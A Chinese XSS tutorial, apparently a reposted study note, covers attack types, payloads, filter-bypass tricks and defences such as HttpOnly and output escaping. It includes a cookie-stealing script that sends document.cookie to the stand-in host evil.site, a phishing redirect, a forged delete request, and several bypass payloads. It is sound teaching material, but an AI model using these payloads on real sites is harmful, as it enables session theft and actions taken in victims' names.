一、XSS攻击简介

  1. 跨站脚本攻击的英文全称是Cross-Site Scripting,为了与CSS有所区别,因此缩写为“XSS”
  2. 由于同源策略的存在,攻击者或者恶意网站的JavaScript代码没有办法直接获取用户在其它网站的信息,但是如果攻击者有办法把恶意的JavaScript代码注入目标网站的页面中执行,他就可以直接访问页面上的信息,或者发送请求与服务端交互,达到跨域访问的目的,这便是XSS攻击。
  3. XSS攻击本质上是一种注入类型的攻击
    1. 在正常情况下,Web应用只会执行应用内预定义的JavaScript代码来实现应用自身的功能;
    2. 如果应用对外部输入参数处理不当,攻击者可将恶意JavaScript代码注入当前Web页面,一旦受害者访问这些页面,攻击者注入的恶意代码就将开始执行。
    3. 最开始,这种攻击是让目标站点加载另一个恶意站点的脚本,因此称为“跨站脚本”攻击,但是后来这个定义的范围逐渐扩展,凡是可以往目标站点注入脚本的攻击行为都可以称为跨站脚本攻击。
  4. 当外部恶意代码被注入正常应用的页面后,浏览器无法区分它是应用自身的代码还是外部注入的代码,这些恶意代码拥有与当前页面正常JavaScript脚本一样的权限,例如读/写Cookie、读/写页面内容、发送HTTP请求,因此XSS攻击能实现非常强大的攻击操作,如窃取会话密钥凭证信息、读取网页上的敏感数据、以受害者身份执行恶意操作等。

二、XSS攻击基础类型介绍

2.1 与服务端应用的处理逻辑相关联的XSS攻击

2.1.1 反射型XSS攻击

  1. 反射型XSS攻击是最常见的一种XSS攻击类型。
  2. 反射型XSS攻击指的是:服务端应用在收到客户端的请求后,未对请求中的参数做合法性校验或安全过滤,直接将参数用于构造HTML页面并返回给浏览器显示。如果参数中包含恶意脚本,就会以HTML代码的形式被返回给浏览器执行。因此,这一类攻击被称为反射型XSS攻击(Refleced XSS)。举例如下
    1. 在做查询时,用户需要提交查询关键词,而这个关键词又显示在查询结果页面中,如果服务端应用未对关键词做相应的安全校验和过滤,则可能存在XSS漏洞。
  3. 最常见的反射型XSS攻击方式是:攻击者将恶意代码包含在URL参数中,但是攻击者需要诱导受害者“点击”这个恶意URL,攻击才能成功。
  4. 反射型XSS攻击也叫做“非持久型XSS(Non-Persistent XSS)攻击”,因为用于攻击的Payload没有持续存储在服务端应用中,每次实施攻击时都需要让受害者访问带Payload的URL。

2.1.2 存储型XSS攻击

  1. 在存储型XSS攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的URL时,服务端就在响应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。
  2. 由于不需要受害者的请求中夹带恶意代码,因此这种XSS攻击更加稳定,危害性也更大。存储型XSS攻击举例如下
    1. 假设一个博客系统存在存储型XSS漏洞;
    2. 攻击者撰写一篇包含恶意JavaScript代码的博客文章并发表至博客系统;
    3. 待包含恶意JavaScript代码的文章发表之后,所有访问了该博客文章的用户,其浏览器都会执行这段恶意的JavaScript代码,攻击者便顺利实施了存储型XSS攻击。
  3. 存储型XSS攻击通常也叫做“持久型XSS(Persistent XSS)攻击”,因为一旦恶意代码被植入,在服务端清除恶意代码或修复相关功能之前,其攻击效果都是持续存在的。

2.2 与前端处理逻辑相关联的XSS攻击

2.2.1 基于DOM的XSS攻击

  1. 正常应用中的JavaScript代码可以接受外部的输入数据并直接在客户端渲染执行,如果处理不当,它就有可能将外部数据当作JavaScript代码来执行,因而产生XSS漏洞。
  2. 基于DOM的XSS攻击定义:客户端的JavaScript脚本在修改和构造当前页面的DOM节点时触发恶意代码执行而非“服务端直接返回恶意代码给客户端执行”,这种攻击方式叫做基于DOM的XSS攻击,下面举例说明
<div id="URL"></div>
<script>document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回当前显示的文档的URL
</script>
//构造的当前页面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者访问该URL后,由于载入图像失败,因此触发onerror事件,执行URL中指定的JavaScript弹窗代码(弹窗中显示“XSS”)。
  1. 上述案例与反射型XSS有本质区别
    1. 再次强调!反射型XSS能成功是因为:服务端对客户端输入的数据处理存在逻辑漏洞;
    2. 基于DOM的XSS攻击能成功是因为:前端JavaScript代码存在漏洞而非服务端程序的漏洞。如上述案例中,document.getElementById('URL').innerHTML = decodeURI(location.href);代码将本文档的URL嵌入到HTML页面中,却并没有考虑URL本身的安全性,这便是一个前端JavaScript代码的漏洞,因而给基于DOM的XSS攻击提供了机会。

2.3 利用社会工程学的XSS攻击

2.3.1 Self-XSS攻击

  1. Self-XSS严格来说不算是Web应用漏洞,因为攻击者没有办法直接将恶意代码注入页面,而是利用社会工程学欺骗用户,让用户自己去复制恶意代码并粘贴到浏览器中,因此被称为Self-XSS攻击。

三、XSS攻击进阶

3.1 XSS Payload简介

  1. 我们将攻击者植入的恶意代码称为XSS Payload,本质上,它就是一段JavaScript代码,且由于XSS Payload和应用自身的JavaScript代码在同一个执行环境中,所以正常应用能做的事情都能通过XSS Payload实现。
  2. 最常见的XSS Payload是通过读取浏览器的Cookie对象从而发起“Cookie劫持”攻击。
    1. Web应用通常使用Cookie作为用户的身份凭证;
    2. 如果一个用户的Cookie被攻击者获取,意味着攻击者获取了该用户的身份,即攻击者无需使用账号和密码,直接通过Cookie就可以登陆用户的账户
  3. 在之前的实例中,payload是直接写在URL中的,为了实现更为复杂的攻击逻辑,可以将payload放在一个JavaScript文件中,然后通过< script >标签载入,这样就能避免在URL的参数中写入大量的JavaScript代码,示例如下
//构造的URL
'http://localhost:8000/echo.php?name=<script src="http://evil.site/evil.js"></script>'//evil.js文件
var img = new Image();  //使用new关键字实例化一个Image对象并使用“img”名称指代该实例。
img.src = 'http://evil.site/log?cookie=' + encodeURIComponent(document.cookie);
/*
目标:获取“受害者在当前前端页面中的cookie信息”
1. 受害者访问攻击者构造的URL;
2. 受害者浏览器接收到服务端发回的HTML源码,由于受害者前端页面JavaScript代码存在漏洞(如:将URL作为HTML中内容返回),因此攻击者构造的URL被嵌入受害者前端HTML页面中,又由于攻击者构造的URL中存在JavaScript代码,因此受害者浏览器执行该恶意代码;
3. URL中的<script>标签指定使用的JavaScript代码来自http://evil.site/evil.js;
4. http://evil.site/evil.js文件中,JavaScript代码在受害者前端页面中构造了一个Image实例,同时将获取该图像数据的源指定为恶意站点evil.site;
5. 在受害者的前端页面试图向攻击者指定的恶意站点索要图像数据时,恶意JavaScript代码要求受害者必须携带受害者当前前端页面的cookie信息;
6. 受害者前端执行该恶意JavaScript代码后,恶意站点成功获取受害者在当前前端页面中的cookie信息;
7. 攻击者获取Cookie后,便可以受害者的身份访问目标应用;
*/

3.2 强大的XSS Payload使用

3.2.1 构造GET和POST请求

  1. 通过JavaScript发送GET请求
    1. 最简单的办法是创建Image对象,将其src属性指定为目标URL,这样浏览器获取图像时就在当前页面发送了GET请求。
  2. 通过JavaScript发送POST请求
    1. 使用JavaScript创建一个表单对象,填充表单中的字段,然后提交表单即可,示例如下
//下面的JavaScript代码作用:通过POST请求方式删除id=123的博客文章
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
document.body.appendChild(form);
/*
Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中,那么 appendChild() 只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。
*/
var li = document.createElement("input"); //<li>列表项元素
li.name = 'id'; //id参数用于指定博客文章的id
li.value = '123';
form.appendChile(li);
form.submit();

3.2.2 XSS钓鱼

  1. 在一个域名为可信域的URL中嵌入跳转至恶意网站的JavaScript代码。
  2. 假设example.com为可信域,evil.site为恶意网站,可以构造URL为http://example.com/echo.php?name=<script>window.location='http://evil.site/';</script>

3.2.3 XSS攻击平台

  1. BeEF平台:XSS攻击平台

四、XSS蠕虫

待补充

五、XSS攻击技巧

5.1 基本的变形

  1. 部分Web可能做了一定的安全过滤工作,但在很多场景中的安全过滤不够完善,对XSS Payload进行简单的变形就可能绕过防御机制。
  2. 常见的变形方式
    1. 更改字母的大小写
      1. HTML对标签的大小写不敏感,因此< script >或< ScRiPT >都是正确的语法,可用于绕过“仅仅简单过滤掉< script >标签”这类规则。
    2. 填充空白字符(如空格、制表符、换行),可用于绕过“仅仅简单过滤掉< script >标签”这类规则。
    3. 有的过滤函数只是将< script >等9字符串删除掉,因此我们可以构造类似<sc<script>ript>...</scr<script>ipt>这样的恶意代码来绕过该过滤机制。

5.2 事件处理程序

  1. 很多HTML节点都可以绑定事件处理程序,构造不同的HTML标签并尝试使用不同的事件处理程序,可以绕过一些过滤不严格的安全防御机制。
  2. 下属攻击能用的前提是后端PHP中没有对字符如“src”、“onfunction”等的过滤机制。
<img src=0 onerror="alert(document.cookie);"> //加载图片失败时触发onerror事件
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>

5.3 JavaScript伪协议

5.3.1 JavaScript伪协议定义

  1. 伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的,如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:。
  2. 我们可以在浏览器地址栏里输入"javascript:alert('JS!');",点击跳转后会发现,实际上浏览器是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

5.3.2 JavaScript伪协议使用

  1. 浏览器可以接受内联的JavaScript代码作为URL,因此在“需要指定URL”的标签属性中,可以尝试构造一个JavaScript伪协议的URL来执行JavaScript代码,举例如下:
/*
<a>标签定义超链接,用于从一个页面链接到另一张页面。最重要的属性是href属性,它指示链接的目的地。当用户点击<a>标签内的内容时,浏览器会尝试检索并显示href属性指定的URL所表示的文档,或者执行JavaScript表达式、方法和函数的列表。如果href属性不存在,<a>标签将不会被视为超链接。
*/
<a href=javascript:alert(1)>Click me</a>
<iframe src=javascript:alert(2)></iframe> //iframe嵌入目标URL页面
  1. 一些安全功能可能会过滤掉JavaScript伪协议,因此可以尝试在关键词中插入空白字符绕过检测,举例如下
<a href="java#13script&#9:alert(document.domain)">Click me</a>
  1. 还有一种开发人员常犯的错误:在检验URL的合法性时只校验host是否为合法域名,而没有校验协议类型,在这种场景中,也可以绕过校验实现XSS攻击,举例如下:
javascript://example.com/%0d%0aalert(1)
//注意:"%0d","%0a"分别是回车符、换行符的编码
//因此,“//example.com/”被当作JavaScript代码的注释,所以整个代码都是合法且可以正常执行的(可以自己在浏览器地址栏中输入尝试)。

5.4 编码绕过

  1. 一些不太完善的防御方案,是通过过滤不安全的函数名,或者检测可以的字符串来做攻击检测的。
  2. 在JavaScript中可以通过动态构造字符串或者使用八进制编码,来绕过静态特征过滤。

5.5 绕过长度限制

  1. 最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload。

5.6 使用< base >标签

  1. < base >标签的作用是定义页面上的所有使用“相对路径”标签的host地址,举例如下
<base href="http://www.gogle.com" />
<img src="/init//en_All/images/logolw.png" />
//这个<base>标签将指定其后的标签默认从"http://www.gogle.com"取host域名
//如果攻击者在页面中插入了<base>标签并指定域名为恶意站点,就可以在远程服务器上伪造数据,劫持当前页面中所有使用“相对路径”的标签。

5.7 window.name的妙用

  1. 如果在当前页面中将较长的Payload写在window.name属性中,然后跳转到下一个页面,将这个Payload读取出来执行,就可以实现Payload的跨域传递。

六、JavaScript框架

  1. JavaScript开发框架可以快速简洁地完成前端开发,但如果开发者使用不当,也可能产生XSS漏洞。一般来说,JavaScript框架产生的XSS漏洞都是DOM类型的。

七、XSS攻击的防御

7.1 HttpOnly

  1. HttpOnly作用:让该cookie只能用于HTTP/HTTPS传输,使得客户端JavaScript脚本无法读取cookie,这在一定程度上减少了XSS漏洞带来的危害。
  2. PHP在配置文件中开启会话Cookie的HttpOnly属性:session.cookie_httponly=On
  3. 虽然使用HttpOnly能在一定程度上防止会话劫持,但在XSS攻击中,恶意脚本同样可以在不知道用户Cookie的情况下完成窃取用户信息或模拟用户发送HTTP请求,因此防御XSS攻击不能仅靠HttpOnly属性,仍需要更加成熟的解决XSS漏洞的方案。

7.2 输入过滤

7.3 输出转义

  1. 既然参数在输入时做全局过滤和转义存在各种问题,那么就应该在输出变量时根据不同场景有针对性地编码或转义。

7.3.1 HTML转义

  1. 最常见的变量输出场景是该变量用于构造HTML页面,这里有两种情况:一种是变量作为HTML标签的属性值;另一种是变量作为标签的内容。
<input name="name" value="$value"> //变量作为属性值
/*
当变量作为属性值时,双引号必须转义,否则变量里含有双引号会将属性提前闭合。另外,单引号也要转义,因为属性值用单引号包围也是合法的。
*/
<p>$value</p> //变量作为标签内容
/*
当变量作为标签内容时,必须让变量以文本形式显示,而不能引入其他HTML标签。
因此,通过对输入的“>”、“<”字符转义,这样就不会产生新标签了。
*/
  1. 因为HTML转义是将字符转换成“&xx”的形式,如双引号转义成“&quot;”。如果变量的原始内容就包含了“&quot;”这六个字符,那么输出到HTML页面上时,这六个字符将被反转义并显示成双引号,内容发生了变化,从而产生漏洞。为了避免上述产生的问题,因此“&”字符也需要转义处理。

    需要转移的字符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/91420.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/91420.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/91420.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux /proc/目录详解

文章目录前言文件说明注意事项前言 在 Linux 系统中&#xff0c;/proc 目录是一个特殊的虚拟文件系统&#xff0c;它提供了对系统内核和进程的访问。/proc 目录中的文件和目录不是真实存在的&#xff0c;它们是在运行时由内核动态生成的&#xff0c;用于提供系统和进程的相关信…

北斗变形监测在地质灾害监测中的应用

内容概要 北斗形变监测系统在地质灾害监测领域发挥着核心作用&#xff0c;该系统基于北斗卫星导航技术&#xff0c;实现对地表变形的精确追踪。通过毫米级精度定位能力&#xff0c;北斗形变监测技术为滑坡等灾害提供关键数据支撑&#xff0c;尤其在偏远地区应用中&#xff0c;单…

2025新征程杯全国54校园足球锦标赛在北京世园公园隆重开幕

2025年8月1日&#xff0c;备受瞩目的2025新征程杯全国54校园足球锦标赛&#xff08;北京&#xff09;在北京世园公园盛大拉开帷幕。开幕式上&#xff0c;中国关心下一代健康体育基金会副秘书长、中国青少年研究会理事、全国 54 校园足球人才培养计划创始人何占强主任表示&#…

分类预测 | Matlab实现CPO-PNN冠豪猪算法优化概率神经网络多特征分类预测

分类预测 | Matlab实现CPO-PNN冠豪猪算法优化概率神经网络多特征分类预测 目录分类预测 | Matlab实现CPO-PNN冠豪猪算法优化概率神经网络多特征分类预测分类效果基本介绍程序设计分类效果 基本介绍 1.Matlab实现CPO-PNN冠豪猪算法优化概率神经网络多特征分类预测&#xff0c;运…

机器学习——逻辑回归(LogisticRegression)的核心参数:以约会数据集为例

理解 LogisticRegression 的核心参数&#xff1a;以约会数据集为例 逻辑回归&#xff08;Logistic Regression&#xff09;是机器学习中一种基础且重要的分类算法&#xff0c;特别适用于解决二分类和多分类问题。本文将基于 sklearn.linear_model.LogisticRegression 的用法&a…

深入解析 Apache Flink FLIP-511:优化 Kafka Sink 事务处理,减轻 Broker 负载

一、 背景与核心问题&#xff1a;Kafka Sink 事务的痛点 Flink Kafka Sink 在 Exactly-Once 模式下依赖 Kafka 事务来确保数据写入的原子性&#xff0c;并与 Flink 检查点对齐。然而&#xff0c;非优雅关闭&#xff08;如任务失败、非 stop-with-savepoint 的停止&#xff09;会…

设计模式:组合模式 Composite

目录前言问题解决方案结构代码前言 组合是一种结构型设计模式&#xff0c;你可以使用它将对象组合成树状结构&#xff0c;并且能像使用独立对象一样使用它们。 问题 如果应用的核心模型能用树状结构表示&#xff0c; 在应用中使用组合模式才有价值。 例如&#xff0c; 你有两…

嵌入式 C 语言入门:函数封装与参数传递学习笔记 —— 从定义到内存机制

前言 大家好&#xff0c;这里是 Hello_Embed。在前一篇笔记中&#xff0c;我们用循环实现了 LED 闪烁&#xff0c;其中重复使用了两段几乎一样的延时代码&#xff1a; for(i 0; i < 100000000; i); // 延时这种重复不仅让代码冗余&#xff0c;还不利于后续修改&#xff08…

第一个大语言模型的微调

模型推理 现在,我们的模型应该能够针对输入的任何短句生成类似尤达大师风格的句子作为回应。 该模型要求其输入格式规范。我们需要构建一个 “消息” 列表 —— 在这个案例中,就是来自用户的消息 —— 并通过提示表明轮到模型进行输出,以促使其做出回答。 add_generation…

Linux内核驱动开发核心问题全解

&#x1f4d6; 推荐阅读&#xff1a;《Yocto项目实战教程:高效定制嵌入式Linux系统》 &#x1f3a5; 更多学习视频请关注 B 站&#xff1a;嵌入式Jerry Linux内核驱动开发核心问题全解 本文系统梳理了 Linux 驱动开发、内核同步、中断处理、内存管理、进程通信、系统启动等典型…

【C++篇】C++11入门:踏入C++新世界的大门

文章目录C11简介列表初始化1. {}初始化2. initializer_list容器initializer_list的使用场景声明1. auto2. decltype3. nullptrSTL中的变化1. 新容器array容器forward_list容器unordered_map和unordered_set容器2. 新接口C11简介 C98/03&#xff1a;在2003年C标准委员会曾经提交…

Java 日期时间处理:分类、用途与性能分析

Java提供了多种日期时间处理API&#xff0c;随着版本演进不断改进。以下是主要日期时间类的分类、用途和性能分析&#xff1a;一、Java日期时间API分类1. 传统日期时间API (Java 1.0/1.1)java.util.Date - 表示特定的瞬间&#xff0c;精确到毫秒java.util.Calendar - 抽象类&am…

[Linux]学习笔记系列 --GCC

文章目录属性__cleanup__attribute_malloc__ 用于标记函数返回一个新分配的内存块__attribute_alloc_size__ 用于指定分配的内存大小__attribute__((const)) 标记为纯函数(pure function)__attribute__((__externally_visible__)) 使其在编译器优化过程中保持对外部模块的可见性…

【龙泽科技】汽车维护与底盘拆装检修仿真教学软件【风光580】

产品简介汽车维护与底盘拆装检修仿真教学软件是依托《全国职业院校技能大赛》“汽车维修”赛项中“汽车维护与底盘拆装检修模块”竞赛模块&#xff0c;自主开发的一款仿真教学软件。软件采用仿真仿真技术模拟实际汽车维修工的岗位技能操作流程&#xff0c;操作内容主要包括&…

Spring之【循环引用】

目录前置知识SingletonBeanRegistryDefaultSingletonBeanRegistrySpring中处理循环引用的流程分析定义两个具有循环引用特点的Bean执行A的实例化执行A的属性填充(执行过程中发现A依赖B&#xff0c;就去执行B的实例化逻辑)执行B的实例化执行B的属性填充执行B的初始化执行A的属性…

LRU缓存淘汰算法的详细介绍与具体实现

LRU&#xff08;Least Recently Used&#xff0c;最近最少使用&#xff09;是一种基于时间局部性原理的缓存淘汰策略。其核心思想是&#xff1a;最近被访问的数据在未来更可能被再次使用&#xff0c;而最久未被访问的数据应优先被淘汰&#xff0c;从而在有限的缓存空间内保留高…

JS-第十九天-事件(一)

一、事件基础概念1.1 事件三要素事件源&#xff1a;触发事件的元素事件类型&#xff1a;事件的种类&#xff08;如click、mouseover等&#xff09;事件处理程序&#xff1a;响应事件的函数1.2 事件流机制事件传播分为三个阶段&#xff1a;捕获阶段&#xff1a;事件从顶层开始&a…

Matplotlib(三)- 图表辅助元素

文章目录一、图表辅助元素简介二、坐标轴的标签、刻度范围和刻度标签1. 坐标轴标签1.1 x轴标签1.2 y轴标签1.3 示例&#xff1a;绘制天气气温折线图2. 刻度范围和刻度标签2.1 刻度范围2.1.1 x轴刻度范围2.1.2 y轴刻度范围2.2 刻度标签2.2.1 x轴刻度标签2.2.2 y轴刻度标签2.3 示…

【Linux基础知识系列】第七十八篇 - 初识Nmap:网络扫描工具

在网络管理和安全领域&#xff0c;网络扫描是一个不可或缺的工具。它可以帮助网络管理员了解网络中的设备、服务以及潜在的安全漏洞。Nmap&#xff08;Network Mapper&#xff09;是一个功能强大的开源网络扫描工具&#xff0c;它能够快速发现网络中的主机、端口和服务&#xf…

EasyGBS的两种录像回看

EasyGBS 支持两种录像回看&#xff0c;即“平台端”的录像回看和“设备端”的录像回看。本期我们来介绍两者的区别和使用方法。一、平台端录像1、什么是平台端录像平台端录像是指由 EasyGBS 平台直接录制并存储。2、配置平台端录像进入平台&#xff0c;依次点击【录像回放】→【…